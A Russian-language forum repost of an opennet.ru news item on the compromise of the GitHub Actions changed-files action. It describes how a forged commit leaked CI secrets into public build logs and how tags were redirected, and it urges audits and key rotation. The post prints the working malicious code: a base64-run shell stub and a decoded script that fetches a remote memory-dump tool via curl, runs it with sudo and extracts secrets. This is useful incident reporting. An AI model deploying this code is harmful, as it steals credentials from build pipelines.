[ON] Компрометация GitHub Actions-обработчика changed-files, применяемого в 23 тысячах репозиториев

Обсуждение новостей, соответствующих тематике форума

Модератор: Модераторы разделов

Аватара пользователя
rssbot
Бот
Сообщения: 6001
ОС: gnu/linux

[ON] Компрометация GitHub Actions-обработчика changed-files, применяемого в 23 тысячах репозиториев

Сообщение rssbot »

Выявлена подстановка вредоносного изменения в репозиторий проекта changed-files, развивающего обработчик к системе GitHub Actions, позволяющей автоматически запускать сценарии сборки и тестирования кодовых баз при срабатывании определённых событий, таких как поступление push-запроса, создание релизов, открытие/закрытие issue и открытие/закрытие pull-запросов. Обработчик changed-files использовался в 23 тысячах репозиториев, применяющих GitHub Actions в инфраструктуре непрерывной интеграции, для отслеживания изменения файлов и каталогов.


В репозиторий changed-files было подставлено изменение 0e58ed8, добавляющее в файл index.js вредоносный код под предлогом переработки работы с файлами блокировок. При выполнении обработчика changed-files вредоносная вставка собирала присутствующие в сборочном окружении ключи доступа и прочие конфиденциальные данные. В качестве канала для передачи информации за пределы сборочного окружения использовался вывод записей в сборочный лог, который не в приватных репозиториях доступен публично.


Всем разработчикам, пользовавшимся changed-files, требуется незамедлительно провести аудит своей инфраструктуры и проверить публичные логи систем интеграции на базе GitHub Actions на предмет утечки конфиденциальных данных. В случае использования скомпрометированной версии рекомендуется поменять ключи и провести анализ возможной компрометации своих систем. В настоящее время GitHub уже заблокировал репозиторий changed-files, но до этого около 14 часов вредоносные обновления были доступны для загрузки. Понять наличие вредоносного изменения можно по упоминанию "bash" в файле index.js:

Код:

async function updateFeatures(token) {

const {stdout, stderr} = await exec.getExecOutput('bash', ['-c', `echo "aWYgW1sgIiRPU1...ApmaQo=" | base64 -d > /tmp/run.sh && bash /tmp/run.sh`], {
ignoreReturnCode: true,
silent: true
});
core.info(stdout);
}

В base64-последовательности содержался код:

if [[ "$OSTYPE" == "linux-gnu" ]]; then
B64_BLOB=`curl -sSf https://gist.githubusercontent.com/nikitastupin/30e525b776c409e03c2d6f328f254965/raw/memdump.py | sudo python3 | tr -d '\0' | grep -aoE '"[^"]+":\{"value":"[^"]*","isSecret":true\}' | sort -u | base64 -w 0 | base64 -w 0`
echo $B64_BLOB
else
exit 0
fi

Коммит был размещён от имени бота "renovate[bot]", предназначенного для автоматизации операций по обновлению зависимостей, но скорее всего имя данного бота использовано для запутывания следов, так как коммит был помечен как неверифицированный и не принадлежащий ни к одной ветке в репозитории changed-files. Подобные коммиты могут свидетельствовать о добавлении не в основной репозиторий, а в его форк (при прямом обращении через основной репозиторий в GitHub коммиты из форков остаются видимыми).




Примечательно, что атакующий добился добавления вредоносного коммита почти во все git-тэги и релизы проекта changed-files, без отображения в git-логе коммитов в соответствующих ветках. В качестве предположений как он мог этого добиться упоминалось создание форка репозитория, размещения в нём вредоносного кода и обновления всех тегов в родительском репозитории с учётом нового SHA-хэша форка. По предположению другого разработчика атакующий добавил коммит в ветку main, перенаправил все теги на данную ветку, после чего откатил ветку main на предыдущий коммит.





Источник: https://www.opennet.ru/opennews/art.shtml?num=62892
(opennet.ru, основная лента)
Последний раз редактировалось rssbot 17.03.2025 18:45, всего редактировалось 3 раза.
Причина: Updated upstream
Спасибо сказали: